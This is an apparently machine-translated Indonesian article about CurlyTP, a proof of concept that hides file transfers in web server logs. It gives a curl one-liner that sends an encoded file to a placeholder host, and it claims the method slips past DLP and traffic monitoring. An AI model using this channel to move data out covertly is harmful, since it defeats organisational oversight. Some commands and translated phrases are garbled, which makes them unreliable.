Pertukaran pesan rahasia melalui log server

Menurut definisi Wikipedia, dead drop adalah alat konspirasi yang berfungsi untuk bertukar informasi atau beberapa barang antar orang dengan menggunakan lokasi rahasia. Idenya adalah orang-orang tidak pernah bertemu – namun mereka tetap bertukar informasi untuk menjaga keselamatan operasional.

Tempat persembunyiannya tidak boleh menarik perhatian. Oleh karena itu, di dunia offline mereka sering menggunakan hal-hal yang tersembunyi: batu bata lepas di dinding, buku perpustakaan, atau lubang di pohon.

Ada banyak alat enkripsi dan anonimisasi di Internet, namun fakta penggunaan alat ini menarik perhatian. Selain itu, mereka mungkin diblokir di tingkat perusahaan atau pemerintah. Apa yang harus dilakukan?

Pengembang Ryan Flowers mengusulkan opsi menarik - menggunakan server web mana pun sebagai tempat persembunyian. Jika Anda memikirkannya, apa yang dilakukan server web? Menerima permintaan, mengeluarkan file dan menulis log. Dan itu mencatat semua permintaan, bahkan yang salah!

Ternyata server web mana pun memungkinkan Anda menyimpan hampir semua pesan di log. Bunga bertanya-tanya bagaimana cara menggunakan ini.

Dia menawarkan opsi ini:

  1. Ambil file teks (pesan rahasia) dan hitung hashnya (md5sum).
  2. Kami menyandikannya (gzip+uuencode).
  3. Kami menulis ke log menggunakan permintaan yang sengaja salah ke server.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

Untuk membaca file, Anda perlu melakukan operasi ini dalam urutan terbalik: mendekode dan mengekstrak file, memeriksa hash (hash dapat ditransmisikan dengan aman melalui saluran terbuka).

Spasi diganti dengan =+=agar tidak ada spasi pada alamatnya. Program yang penulis sebut CurlyTP ini menggunakan pengkodean base64, seperti lampiran email. Permintaan dibuat dengan kata kunci ?transfer?sehingga penerima dapat dengan mudah menemukannya di log.

Apa yang kita lihat di log dalam kasus ini?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

Seperti yang telah disebutkan, untuk menerima pesan rahasia Anda perlu melakukan operasi dalam urutan terbalik:

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

Prosesnya mudah untuk diotomatisasi. Md5sum cocok, dan isi file mengonfirmasi bahwa semuanya telah diterjemahkan dengan benar.

Caranya sangat sederhana. β€œInti dari latihan ini hanyalah untuk membuktikan bahwa file dapat ditransfer melalui permintaan web kecil yang tidak berbahaya, dan ini berfungsi di server web mana pun dengan log teks biasa. Intinya, setiap server web adalah tempat persembunyian!” tulis Flowers.

Tentu saja, metode ini hanya berfungsi jika penerima memiliki akses ke log server. Namun akses tersebut disediakan, misalnya, oleh banyak hoster.

Bagaimana cara menggunakannya?

Ryan Flowers mengatakan dia bukan ahli keamanan informasi dan tidak akan menyusun daftar kemungkinan penggunaan CurlyTP. Baginya, ini hanyalah sebuah bukti konsep bahwa alat-alat yang biasa kita lihat sehari-hari dapat digunakan dengan cara yang tidak konvensional.

Faktanya, metode ini memiliki sejumlah keunggulan dibandingkan β€œpersembunyian” server lain seperti Penurunan Mati Digital ΠΈΠ»ΠΈ Kotak Bajak Laut: tidak memerlukan konfigurasi khusus di sisi server atau protokol khusus apa pun - dan tidak akan menimbulkan kecurigaan di antara mereka yang memantau lalu lintas. Kecil kemungkinannya sistem SORM atau DLP akan memindai URL untuk mencari file teks terkompresi.

Ini adalah salah satu cara untuk mengirimkan pesan melalui file layanan. Anda dapat mengingat bagaimana beberapa perusahaan maju dulu berada Pekerjaan Pengembang di Header HTTP atau dalam kode halaman HTML.

Pertukaran pesan rahasia melalui log server

Idenya adalah hanya pengembang web yang akan melihat telur Paskah ini, karena orang normal tidak akan melihat header atau kode HTML.

Pertukaran pesan rahasia melalui log server

Sumber: www.habr.com

Tambah komentar